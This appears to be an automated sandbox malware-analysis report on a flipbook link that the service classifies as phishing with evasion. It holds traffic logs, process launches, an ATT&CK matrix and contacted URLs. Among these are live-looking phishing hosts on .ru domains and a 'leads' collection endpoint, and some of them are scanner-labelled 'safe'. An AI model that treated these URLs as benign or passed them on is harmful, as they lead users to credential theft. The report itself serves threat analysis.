Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443

Source: unknown	HTTPS traffic detected: 3.23.240.185:443 -> 192.168.2.17:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.23.240.185:443 -> 192.168.2.17:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.79.104:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.65:443 -> 192.168.2.17:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.68:443 -> 192.168.2.17:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.189.162.129:443 -> 192.168.2.17:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.189.162.129:443 -> 192.168.2.17:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.197.152.28:443 -> 192.168.2.17:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.197.152.28:443 -> 192.168.2.17:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.214.162:443 -> 192.168.2.17:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.214.162:443 -> 192.168.2.17:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.17:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.17:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.17:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.17:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.41:443 -> 192.168.2.17:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.17:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.17:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.45.130:443 -> 192.168.2.17:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.17:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.17:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.17:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.41:443 -> 192.168.2.17:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.131.198:443 -> 192.168.2.17:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.131.198:443 -> 192.168.2.17:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.17.199.31:443 -> 192.168.2.17:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.17.199.31:443 -> 192.168.2.17:50109 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir2852_967733115

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2852_967733115

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@36/172@58/24

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\7b3d912b-fe5b-40a0-9771-43e1c163d140.tmp

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,13377214975040062881,18422252457615509330,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1996,i,13377214975040062881,18422252457615509330,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,13377214975040062881,18422252457615509330,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1996,i,13377214975040062881,18422252457615509330,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 184
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 184			Jump to dropped file

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 4.28..script.csv, type: HTML
Source: Yara match	File source: 3.17.d.script.csv, type: HTML
Source: Yara match	File source: 4.12.pages.csv, type: HTML
Source: Yara match	File source: 4.11.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	21 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-196.png	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh7USSwiPGQ	0%	Avira URL Cloud	safe
https://d1uiew9hysv4w7.cloudfront.net/831678/1829815/txt/1829815_1_400.webp	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/APP-xs.css?v=1748	0%	Avira URL Cloud	safe
https://ajtl2.clriwhkc.ru/34sXAKs8nGGWzUcmFQQAB8sJ64klqj10YUB0rJg8Yg89102	0%	Avira URL Cloud	safe
https://ajtl2.clriwhkc.ru/opyXAR9zsHzgqXwIJLY5LV7jMEP12o02zh09sjAIXIf7J57nkQ1zfczG9XdXcd231	0%	Avira URL Cloud	safe
https://d1uiew9hysv4w7.cloudfront.net/831678/1829815/txt/1829815_1_800.webp	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_4.ogg	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/Page_curl.js?v=1748	0%	Avira URL Cloud	safe
https://ajtl2.clriwhkc.ru/56Kf0C8w1pUhcdIxc06718	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/page-flip-hard.browser.js?v=1	0%	Avira URL Cloud	safe
https://mbx7b28fh6.execute-api.us-east-2.amazonaws.com/leads	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/VideoEmbed.js?v=1748	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/images/link.svg	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-192.png	0%	Avira URL Cloud	safe
https://ajtl2.clriwhkc.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_2.mp3	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/APP.js?v=1748	0%	Avira URL Cloud	safe
https://cms1.publuu.com	0%	Avira URL Cloud	safe
https://ajtl2.clriwhkc.ru/klBsPV2E3KuAhVGtJ04YJFovXnKmg5bgpTT5yxQoZgiLAeqrPNh3ek0j3kk2taRJj8owvqzyz223	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/images/prev2_1h.svg	0%	Avira URL Cloud	safe
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-128.png	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
github.com	140.82.114.3	true	false	high
publuu.com	3.23.240.185	true	false	high
d2z1mhfwexgacj.cloudfront.net	18.164.131.198	true	false	unknown
joyeriaangeles.com.mx	69.197.152.28	true	false	unknown
dkl18tmi4r0t8.cloudfront.net	18.238.50.105	true	false	high
d1uiew9hysv4w7.cloudfront.net	13.225.66.78	true	false	high
d2yzdrigfuozes.cloudfront.net	18.238.79.104	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
api1.publuu.com	3.17.199.31	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
ajtl2.clriwhkc.ru	172.67.214.162	true	false	high
www.google.com	142.250.64.68	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.11	true	false	high
utty56o2qi.execute-api.us-east-2.amazonaws.com	18.189.162.129	true	false	high
o0xs89.hxnywi.ru	104.21.29.234	true	false	high
objects.githubusercontent.com	185.199.109.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/rule701151v1s19.xml	false		high
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://otelrules.svc.static.microsoft/rules/rule704001v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702151v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700151v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703151v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120630v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120645v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700001v2s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701751v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120663v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701301v1s19.xml	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://otelrules.svc.static.microsoft/rules/rule702751v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702301v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120609v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120627v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703601v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700751v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700301v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701550v1s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_4.ogg	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://otelrules.svc.static.microsoft/rules/rule700100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702550v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700550v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703400v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700901v1s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/APP-xs.css?v=1748	false	Avira URL Cloud: safe	unknown
https://ajtl2.clriwhkc.ru/34sXAKs8nGGWzUcmFQQAB8sJ64klqj10YUB0rJg8Yg89102	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule701100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700400v2s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701901v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120635v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703850v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702901v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120612v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703000v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120681v0s19.xml	false		high
https://ajtl2.clriwhkc.ru/opyXAR9zsHzgqXwIJLY5LV7jMEP12o02zh09sjAIXIf7J57nkQ1zfczG9XdXcd231	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120640v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703450v1s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/Page_curl.js?v=1748	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule700700v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702000v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702450v1s19.xml	false		high
https://d1uiew9hysv4w7.cloudfront.net/831678/1829815/txt/1829815_1_400.webp	false	Avira URL Cloud: safe	unknown
https://d1uiew9hysv4w7.cloudfront.net/831678/1829815/txt/1829815_1_800.webp	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120617v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703750v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703300v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700450v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701700v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702700v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700851v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703701v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701851v1s19.xml	false		high
https://ajtl2.clriwhkc.ru/56Kf0C8w1pUhcdIxc06718	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule702851v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120619v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700600v1s19.xml	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://otelrules.svc.static.microsoft/rules/rule120625v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120622v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120653v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702600v1s19.xml	false		high
https://a.nel.cloudflare.com/report/v4?s=yEJLLKGMqsEkbpYHcnnd2copwE3V13m8%2BD6SF%2BamZ%2FzoOLHCoRCyPapdEJz5ajbrdvvyN1gPSUAcp6TqENE75dGDPvaNGpyIIYpW2KXi3yf9m8R9qqrS6NvKZglktFy55tff	false		high
https://otelrules.svc.static.microsoft/rules/rule120647v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule224900v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703100v1s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/VideoEmbed.js?v=1748	false	Avira URL Cloud: safe	unknown
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/images/link.svg	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120668v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120620v0s19.xml	false		high
https://ajtl2.clriwhkc.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
